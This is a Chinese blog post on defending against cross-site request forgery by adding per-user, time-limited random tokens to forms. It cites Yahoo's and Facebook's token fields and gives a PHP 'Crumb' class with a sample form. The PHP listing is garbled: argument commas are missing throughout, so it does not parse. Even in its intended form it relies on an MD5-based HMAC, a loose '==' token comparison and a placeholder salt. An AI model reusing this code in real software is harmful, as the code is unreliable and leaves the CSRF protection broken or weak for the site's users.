  比较常见而且也很廉价的防范手段是在所有可能涉及用户写操作的表单中加入一个随机且变换频繁的字符串,然后在处理表单的时候对这个字符串进行检查。这个随机字符串如果和当前用户身份相关联的话,那么攻击者伪造请求会比较麻烦。

  yahoo对付伪造跨站请求的办法是在表单里加入一个叫.crumb的随机串 ;而facebook也有类似的解决办法,它的表单里常常会有post_form_id和fb_dtsg。

 

实例:

 

 

Php代码   收藏代码
  1. <?php   
  2.   
  3. class Crumb {                                                                                                     
  4.    
  5.     CONST SALT = "your-secret-salt";                                                            
  6.    
  7.     static $ttl = 7200;                                                                                              
  8.    
  9.     static public function challenge($data) {   
  10.         return hash_hmac('md5'$data, self::SALT);   
  11.     }                                                                                                                
  12.    
  13.     static public function issueCrumb($uid$action = -1) {   
  14.         $i = ceil(time() / self::$ttl);   
  15.         return substr(self::challenge($i . $action . $uid), -12, 10);   
  16.     }                                                                                                                
  17.    
  18.     static public function verifyCrumb($uid$crumb$action = -1) {   
  19.         $i = ceil(time() / self::$ttl);                                                                              
  20.    
  21.         if(substr(self::challenge($i . $action . $uid), -12, 10) == $crumb || substr(self::challenge(($i - 1) . $action . $uid), -12, 10) == $crumbreturn true;                                                                                             
  22.         return false;   
  23.     }                                                                                                                
  24.    
  25. }   
  26.   
  27. $uid = 112;  
  28. if($_POST['submit'] == 'submit'echo Crumb::verifyCrumb($uid$_POST['crumb']) ? 'good' : 'bad';  
  29.   
  30. ?>  
  31. <form method="post">   
  32. <input type="hidden" name="crumb" value="<?php echo Crumb::issueCrumb($uid)?>">   
  33. <input type="text" name="content">   
  34. <input type="submit" name="submit" value="submit">   
  35. </form>   

 

参考:

PHP 安全指南   http://hhacker.com/files/200709/1/index.html

PHP 安全基础        http://www.97find.cn/PHP/

 

 

 


你可能感兴趣的:(IT忍者神龟之jquery的ajax和getJson跨域获取json数据)